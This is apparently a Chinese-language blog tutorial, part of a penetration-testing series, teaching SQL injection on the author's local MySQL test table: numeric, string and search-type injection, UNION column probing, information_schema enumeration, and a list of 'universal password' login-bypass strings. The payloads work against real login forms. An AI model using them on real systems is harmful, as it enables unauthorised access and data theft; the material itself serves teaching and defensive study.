起因#
一直以來都準備做的滲透基礎教程
在介紹完了基本的信息收集和滲透環境搭建篇之後算是正式開始
可能會做很久也不一定做完,但是一定會更新下去
** 聲明:作者初衷用於分享與普及網絡安全知識,若讀者因此作出任何危害網絡安全行為後果自負,與作者及本網站無關 **
SQL 注入介紹#
SQL 語句:SQL (Structured Query Language),結構化的查詢語言,是關係型數據庫通訊的標準語言。
查詢:SELECT statement FROM table WHERE condition
刪除記錄:DELETE FROM table WHERE condition
更新記錄:UPDATE table SET field=value WHERE condtion
添加記錄:INSERT INTO table field VALUES(values)
SQL 注入 (SQL Injection):
是程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患,用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據或進行數據庫操作
SQL 注入攻擊流程:
1. 判斷注入點 2. 判斷注入點類型 3. 判斷數據庫類型 4. 獲取數據庫數據,提權
SQL 注入原理分析#
本篇教程應該是基於 shack2 大佬的 SQL 注入教程寫的
記不太清楚了因為筆記創建時間是19-03-01
:
而且現在shack2
大佬的博客已經關站,只留了個github 地址
大佬的很多工具也是非常好用的,後面也會介紹到,本文中途有一些大佬有的環境我沒有的
只能使用大佬的圖片了但是肯定也是看得懂的
我這裡使用本地的Navicat for MySql
工具和phpstudy
提供的MySql
數據庫來講解
這兩個工具在前面我都介紹過,分別為
- <<Navicat 家族產品安裝及破解>>
- <<滲透練習環境搭建 (長期更新)>>
用Navicat
工具連接上本地的mysql
數據庫之後新建一個數據庫test
在test
中新建一個表new
:
填入以下數據:
id | title | content | type |
---|---|---|---|
1 | 我是 SQL 注入 | 你知道嗎? | 1 |
2 | 我不是 SQL 注入 | 你還不知道嗎? | 2 |
然後用查詢工具運行以下語句插入一行:
INSERT INTO test.new VALUES(3,'test','test',3)
點擊運行,刷新 new 表,發現數據已經被插進去了:
來一個基礎的查詢:
那我們要查找部分數據可以用 limit (x,y) 來查詢從第 x 條開始的 y 條數據
比如這裡查詢從第 0 條開始的 1 條數據(sqlserver 裡面的關鍵字是用的 top):
數字型注入#
我們查詢id=1
:
查詢id=1 AND 1=2
,沒有數據:
到這我們已經能判斷有一個 SQL 注入了,如果沒有過濾的話就可以盲注了,我們用or 1=1
(永遠為真) 試一下:
也可以這麼理解:
SELECT * FROM test.new WHERE (id=1 OR 1=1)
我們試一下盲注,直接加一個'
:
打印出了 SQL 的報錯信息,說明支持錯誤顯示注入
我們用 Union 來試一下,直接Union Select 1
:
報錯了,列不對,所以說我們用order by
來判斷列:
order by
加到 5 報錯了 (也可能是沒數據):
說明這個表有 4 列數據,如果原查詢語句是:
SELECT * FROM test.new WHERE id=1 AND 1=1 AND type='2'
這時候你再加個ORDER BY
可能也沒關係:
SELECT * FROM test.new WHERE id=1 ORDER BY 1 AND type='2'
但是當有時候程序自身帶了ORDER BY
,比如原語句是:
SELECT * FROM test.new WHERE id=1 ORDER BY id DESC
這時候要在 1 這個位置上再插入一個ORDER BY
進去:
SELECT * FROM test.new WHERE id=1 ORDER BY 1 ORDER BY id DESC
這條語句就會報錯:
這時候我們就可以用 #註釋掉後面的語句 (有時候要考慮字符轉碼 %23,因為在 URL 中 #表示標記錨連接,直接定位到網頁內位置的):
SELECT * FROM test.new WHERE id=1 ORDER BY 1#23ORDER BY id DESC
下面我們說一下怎樣判斷某個數據庫存不存在,我們可以用exists
函數:
SELECT * FROM test.new WHERE id=1 AND EXISTS(SELECT 1 FROM admin)
返回正常說明admin
這個表存在,MYSQL
裡面是自帶information_schema
這個庫的
那我們看一下存不存在information_schema.tables
就知道這個數據庫是不是MySQL
數據庫了:
返回正常,我們通過Union SELECT
來看哪一個列能支持顯示 (這裡使用的是大佬教程裡的圖片):
** 這裡由於我使用的環境不好只顯示部分位,實際很多靶場都是有多字段只顯示部分字段的情況 **
這個圖就明顯說明第 2 列能被顯示出來,但是如果只支持顯示一個查詢結果很有可能後面的結果我們看不見
我們可以把前面的加一個AND 1=2
否定掉,這樣就只會顯示我們後面的一條數據了:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,2,3,4231
知道了顯示位之後我們就可以在顯示位上搞事情了,先來查詢個數據庫:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,DATABASE(),3,4231
再來查詢個版本:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,VERSION(),3,4231
可以看到版本號為5.5.53
,再來查詢information_schema
數據庫的所有表名:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,table_name,3,4231 FROM information_schema.tables
延時函數直接 sleep (10) 就行了:
字符型注入#
我們默認測試的地址為:
SELECT * FROM test.new WHERE type=2
先來一個AND 1=1
:
再來個1=2
:
發現都沒有輸出,也沒有報錯,那怎麼辦呢?我們分析一下字符:原來的語句是:
SELECT * FROM test.new WHERE type='xxx'
現在我們要查詢type=2
的同時還要把And 1=1
加進去:
SELECT * FROM test.new WHERE type='2' AND 1=1'
後面還有一個單引號,所以這裡最適合的就是用字符型的把後面單引號閉合掉:
SELECT * FROM test.new WHERE type='2' AND '1'='1'
也就是我們的查詢數據為:2' AND '1'='1
,這樣就把2
查詢了也把AND 1=1
加進去了:
其他的就和上面的數值型注入差不多了,比如order by
:
SELECT * FROM test.new WHERE type='2' ORDER BY 1
Union:
SELECT * FROM test.new WHERE type='2' UNION SELECT 1,2,3,4 FROM DUAL
搜索型注入#
一般語句是這樣:
SELECT * FROM test.new WHERE title LIKE '%xxx%'
比如:
那我們就可以用程序本身的 %' 把前面的閉合掉,然後再 #註釋掉後面的:
因為我們這裡是 POST 方式提交的,不用編碼,如果是 GET 方法提交的,這裡需要先編碼
所以我們知道查詢語句是 '% xxx%' 的情況下直接搜索 %' and '%'=' 直接就閉合
萬能密碼#
admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)
其實就是閉合了的意思,為了介紹方便我在test
數據庫裡再建一個admin
表,數據如下:
id | username | passwd |
---|---|---|
7 | test | test |
8 | null | null |
9 | null | null |
10 | aaa | xx |
11 | aaa | xx |
12 |
我們從這句經典登錄來分析:
SELECT * FROM test.admin WHERE username='aaa' AND passwd='xx'
當我們要在中間插入or 'a' ='a'
的時候,也就是構成了這樣的語句:
SELECT * FROM test.admin WHERE username='aaa' OR 'a'='a' AND passwd='xx'
能查詢成功,此時我們的輸入的部分為:
aaa' OR 'a'='a
這樣就能把username
的前後兩個’閉合,然後我們就能查詢任意用戶名的數據
查詢出來的都是password
為xx
的賬戶的數據:
但是這是在password
是正確的前提下的,所以最好我們把它輸成空:
也可以用註釋符:
SELECT * FROM test.admin WHERE username='xxx' OR 1=1#
就能查詢出所有數據,簡而言之就是閉合前面的username
並且保持為真
然後 #註釋掉後面的password
就OK
了,這就是萬能密碼admin' or 'a'='a
的來源
所以在萬能密碼的條件下,只需要知道username
我們就能去登錄賬戶了
當萬能密碼用在password
處的時候,語句是這樣的:
SELECT * FROM test.admin WHERE username='adhajsdas' AND passwd='dhaisdhias' or 'a'='a'
因為程序把前面的一部分看為一個整體了:
SELECT * FROM test.admin WHERE (username='adhajsdas' AND password='dhaisdhias') or ('a'='a')
所以這個永遠是真,但是登錄處肯定不會直接SELECT *
的,但是也能得到它SELECT
的所有結果。
基礎原理講的還是很枯燥的,後面會放一些例子及簡單的記憶技巧,敬請期待!
本文完。